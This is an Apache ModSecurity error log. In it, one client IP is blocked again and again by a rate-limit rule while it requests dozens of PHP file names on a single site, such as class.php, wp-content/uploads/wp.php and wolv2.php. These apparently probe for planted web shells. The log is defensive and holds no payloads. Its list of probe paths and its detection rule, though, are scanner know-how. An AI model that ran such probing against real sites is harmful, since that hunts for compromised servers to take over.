[Tue Dec 02 23:30:45.269413 2025] [:error] [pid 5272:tid 5279] [client 20.196.108.177:20044] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/static/sallu.php"] [unique_id "aS8GJewbFoRzPGfZYVSQLgAAAUQ"]
[Tue Dec 02 23:30:45.678906 2025] [:error] [pid 3649:tid 3729] [client 20.196.108.177:20159] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aS8GJbwjL4uqC6YFjxHLQwAAAJI"]
[Tue Dec 02 23:30:46.489487 2025] [:error] [pid 5272:tid 5284] [client 20.196.108.177:20055] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aS8GJuwbFoRzPGfZYVSQLwAAAUk"]
[Tue Dec 02 23:30:46.961427 2025] [:error] [pid 5232:tid 5256] [client 20.196.108.177:20281] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aS8GJgApmO-auDy1ob4pTgAAARY"]
[Tue Dec 02 23:30:47.339308 2025] [:error] [pid 5272:tid 5290] [client 20.196.108.177:20078] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aS8GJ-wbFoRzPGfZYVSQMQAAAU8"]
[Tue Dec 02 23:30:47.926051 2025] [:error] [pid 5232:tid 5236] [client 20.196.108.177:20127] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aS8GJwApmO-auDy1ob4pUgAAAQI"]
[Tue Dec 02 23:30:48.626756 2025] [:error] [pid 48650:tid 48677] [client 20.196.108.177:20195] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aS8GKIQuWSn3xrJsXbn7pAAAAdY"]
[Tue Dec 02 23:30:49.104306 2025] [:error] [pid 5272:tid 5283] [client 20.196.108.177:20107] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aS8GKewbFoRzPGfZYVSQMwAAAUg"]
[Tue Dec 02 23:30:49.788184 2025] [:error] [pid 3649:tid 3721] [client 20.196.108.177:20041] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/simple.php"] [unique_id "aS8GKbwjL4uqC6YFjxHLRAAAAIo"]
[Tue Dec 02 23:30:50.407669 2025] [:error] [pid 5232:tid 5253] [client 20.196.108.177:20060] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aS8GKgApmO-auDy1ob4pWQAAARM"]
[Tue Dec 02 23:30:50.940608 2025] [:error] [pid 3649:tid 3724] [client 20.196.108.177:20034] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aS8GKrwjL4uqC6YFjxHLRgAAAI0"]
[Tue Dec 02 23:30:51.245836 2025] [:error] [pid 5273:tid 5316] [client 20.196.108.177:20089] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aS8GKyMmXO5H1kNwHHWG5gAAAY4"]
[Tue Dec 02 23:30:51.797270 2025] [:error] [pid 3647:tid 3667] [client 20.196.108.177:20153] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ioxi-o.php"] [unique_id "aS8GK1JaqGDFgh_0XI_YUgAAAA4"]
[Tue Dec 02 23:30:52.378027 2025] [:error] [pid 3649:tid 3719] [client 20.196.108.177:20112] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aS8GLLwjL4uqC6YFjxHLSAAAAIg"]
[Tue Dec 02 23:30:53.062378 2025] [:error] [pid 48650:tid 48672] [client 20.196.108.177:20125] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aS8GLYQuWSn3xrJsXbn7qQAAAdE"]
[Tue Dec 02 23:30:53.411218 2025] [:error] [pid 5272:tid 5293] [client 20.196.108.177:20030] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aS8GLewbFoRzPGfZYVSQNwAAAVI"]
[Tue Dec 02 23:30:53.983214 2025] [:error] [pid 5272:tid 5294] [client 20.196.108.177:20349] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/33.php"] [unique_id "aS8GLewbFoRzPGfZYVSQOgAAAVM"]
[Tue Dec 02 23:30:54.350302 2025] [:error] [pid 3649:tid 3717] [client 20.196.108.177:20085] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aS8GLrwjL4uqC6YFjxHLSgAAAIY"]
[Tue Dec 02 23:30:55.356498 2025] [:error] [pid 5232:tid 5241] [client 20.196.108.177:19971] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aS8GLwApmO-auDy1ob4pXQAAAQc"]
[Tue Dec 02 23:30:56.651361 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:19996] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aS8GMIQuWSn3xrJsXbn7wwAAAcY"]
[Tue Dec 02 23:30:57.220323 2025] [:error] [pid 3649:tid 3729] [client 20.196.108.177:20012] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wcas.php"] [unique_id "aS8GMbwjL4uqC6YFjxHLTgAAAJI"]
[Tue Dec 02 23:30:57.965889 2025] [:error] [pid 5232:tid 5252] [client 20.196.108.177:20090] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aS8GMQApmO-auDy1ob4pYQAAARI"]
[Tue Dec 02 23:30:58.598037 2025] [:error] [pid 5272:tid 5280] [client 20.196.108.177:20019] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aS8GMuwbFoRzPGfZYVSQUQAAAUU"]
[Tue Dec 02 23:30:59.319218 2025] [:error] [pid 5272:tid 5281] [client 20.196.108.177:19994] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aS8GM-wbFoRzPGfZYVSQUwAAAUY"]
[Tue Dec 02 23:30:59.727881 2025] [:error] [pid 5272:tid 5279] [client 20.196.108.177:20077] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-content/uploads/wp.php"] [unique_id "aS8GM-wbFoRzPGfZYVSQVAAAAUQ"]
[Tue Dec 02 23:31:00.263025 2025] [:error] [pid 5232:tid 5258] [client 20.196.108.177:20045] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aS8GNAApmO-auDy1ob4pZgAAARg"]
[Tue Dec 02 23:31:00.706860 2025] [:error] [pid 5232:tid 5247] [client 20.196.108.177:20110] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aS8GNAApmO-auDy1ob4pZwAAAQ0"]
[Tue Dec 02 23:31:01.091011 2025] [:error] [pid 3648:tid 3694] [client 20.196.108.177:20047] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aS8GNeQEp5icp6XOJr0xmQAAAEo"]
[Tue Dec 02 23:31:01.500276 2025] [:error] [pid 3760:tid 3765] [client 20.196.108.177:20393] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/f6.php"] [unique_id "aS8GNVjLYEjdWVcKgVWZyQAAAMM"]
[Tue Dec 02 23:31:01.861299 2025] [:error] [pid 3760:tid 3773] [client 20.196.108.177:19980] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aS8GNVjLYEjdWVcKgVWZywAAAMs"]
[Tue Dec 02 23:31:02.246394 2025] [:error] [pid 5273:tid 5305] [client 20.196.108.177:20065] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aS8GNiMmXO5H1kNwHHWG8AAAAYM"]
[Tue Dec 02 23:31:02.644259 2025] [:error] [pid 5273:tid 5319] [client 20.196.108.177:20092] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aS8GNiMmXO5H1kNwHHWG8QAAAZE"]
[Tue Dec 02 23:31:03.027768 2025] [:error] [pid 3648:tid 3688] [client 20.196.108.177:20000] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/v2.php"] [unique_id "aS8GN-QEp5icp6XOJr0xngAAAEQ"]
[Tue Dec 02 23:31:03.561104 2025] [:error] [pid 5232:tid 5239] [client 20.196.108.177:19975] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aS8GNwApmO-auDy1ob4paQAAAQU"]
[Tue Dec 02 23:31:04.018505 2025] [:error] [pid 5232:tid 5254] [client 20.196.108.177:20031] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aS8GOAApmO-auDy1ob4pagAAARQ"]
[Tue Dec 02 23:31:04.343251 2025] [:error] [pid 5273:tid 5323] [client 20.196.108.177:20094] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aS8GOCMmXO5H1kNwHHWG-AAAAZU"]
[Tue Dec 02 23:31:04.656738 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:20106] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/file5.php"] [unique_id "aS8GOIQuWSn3xrJsXbn7zAAAAcc"]
[Tue Dec 02 23:31:05.093937 2025] [:error] [pid 5273:tid 5320] [client 20.196.108.177:20427] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aS8GOSMmXO5H1kNwHHWG-gAAAZI"]
[Tue Dec 02 23:31:05.461464 2025] [:error] [pid 3649:tid 3720] [client 20.196.108.177:20139] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aS8GObwjL4uqC6YFjxHLVgAAAIk"]
[Tue Dec 02 23:31:05.958394 2025] [:error] [pid 48650:tid 48658] [client 20.196.108.177:20144] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aS8GOYQuWSn3xrJsXbn7zwAAAcM"]
[Tue Dec 02 23:31:06.400604 2025] [:error] [pid 48650:tid 48661] [client 20.196.108.177:19977] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lol.php"] [unique_id "aS8GOoQuWSn3xrJsXbn70AAAAcY"]
[Tue Dec 02 23:31:06.737208 2025] [:error] [pid 3648:tid 3705] [client 20.196.108.177:20128] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aS8GOuQEp5icp6XOJr0xpgAAAFU"]
[Tue Dec 02 23:31:07.157355 2025] [:error] [pid 5273:tid 5308] [client 20.196.108.177:19991] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aS8GOyMmXO5H1kNwHHWG_QAAAYY"]
[Tue Dec 02 23:31:07.551706 2025] [:error] [pid 3648:tid 3692] [client 20.196.108.177:20477] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aS8GO-QEp5icp6XOJr0xpwAAAEg"]
[Tue Dec 02 23:31:07.853753 2025] [:error] [pid 48650:tid 48677] [client 20.196.108.177:20287] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fileas.php"] [unique_id "aS8GO4QuWSn3xrJsXbn71wAAAdY"]
[Tue Dec 02 23:31:08.191438 2025] [:error] [pid 48650:tid 48660] [client 20.196.108.177:20048] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aS8GPIQuWSn3xrJsXbn72AAAAcU"]
[Tue Dec 02 23:31:08.536314 2025] [:error] [pid 48650:tid 48662] [client 20.196.108.177:19968] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aS8GPIQuWSn3xrJsXbn72gAAAcc"]
[Tue Dec 02 23:31:08.939151 2025] [:error] [pid 5272:tid 5291] [client 20.196.108.177:20175] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aS8GPOwbFoRzPGfZYVSQWAAAAVA"]
[Tue Dec 02 23:31:09.247114 2025] [:error] [pid 48650:tid 48671] [client 20.196.108.177:20396] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/error.php"] [unique_id "aS8GPYQuWSn3xrJsXbn74gAAAdA"]
[Tue Dec 02 23:31:09.558017 2025] [:error] [pid 5232:tid 5249] [client 20.196.108.177:20133] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aS8GPQApmO-auDy1ob4pawAAAQ8"]
[Tue Dec 02 23:31:09.861761 2025] [:error] [pid 48650:tid 48667] [client 20.196.108.177:19977] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aS8GPYQuWSn3xrJsXbn75AAAAcw"]
[Tue Dec 02 23:31:10.171819 2025] [:error] [pid 48650:tid 48677] [client 20.196.108.177:20289] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aS8GPoQuWSn3xrJsXbn75gAAAdY"]
[Tue Dec 02 23:31:10.527307 2025] [:error] [pid 48650:tid 48659] [client 20.196.108.177:19978] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wolv2.php"] [unique_id "aS8GPoQuWSn3xrJsXbn75wAAAcQ"]
[Tue Dec 02 23:31:10.899840 2025] [:error] [pid 48650:tid 48660] [client 20.196.108.177:20001] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ava.php"] [unique_id "aS8GPoQuWSn3xrJsXbn76AAAAcU"]
[Tue Dec 02 23:31:16.397604 2025] [:error] [pid 48650:tid 48655] [client 20.196.108.177:20126] [client 20.196.108.177] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hello.php"] [unique_id "aS8GRIQuWSn3xrJsXbn8BgAAAcA"]
